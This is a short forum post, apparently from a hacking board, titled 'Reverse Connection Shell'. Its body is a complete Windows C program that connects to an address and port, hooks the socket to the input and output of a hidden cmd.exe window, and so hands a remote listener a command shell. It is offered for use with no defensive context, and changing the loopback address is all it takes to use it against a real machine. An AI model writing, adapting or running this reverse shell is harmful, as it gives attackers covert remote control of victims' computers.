Jump to content
Cartman.

Reverse Connection Shell

Recommended Posts

Posted

Here is a Reverse CMD Shell


#include <winsock2.h>
#pragma comment(lib,"ws2_32")

void main()
{
WSADATA a;
SOCKET b;
STARTUPINFO c;
PROCESS_INFORMATION d;
struct sockaddr_in e;
memset(&e,0,sizeof(e));
memset(&c,0,sizeof(c));
WSAStartup(0x202,&a); //Version: 0x202 = 2.2
b=WSASocket(2,1,6,0,0,0);
e.sin_family=0x2; //0x2 = AF_INET
e.sin_port=ntohs(0x7B9); //Port: 0x7B9 = 1977
e.sin_addr.s_addr=inet_addr("127.0.0.1");
connect(b,(struct sockaddr*)&e,sizeof(e));
c.cb=sizeof(c);
c.dwFlags=0x00000100; //0x00000100 = STARTF_USESTDHANDLES
c.hStdInput=c.hStdOutput=c.hStdError=(void*)b;
CreateProcess(0,"cmd",0,0,1,0x08000000,0,0,&c,&d); //1 = TRUE, 0x08000000 = CREATE_NO_WINDOW
}

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...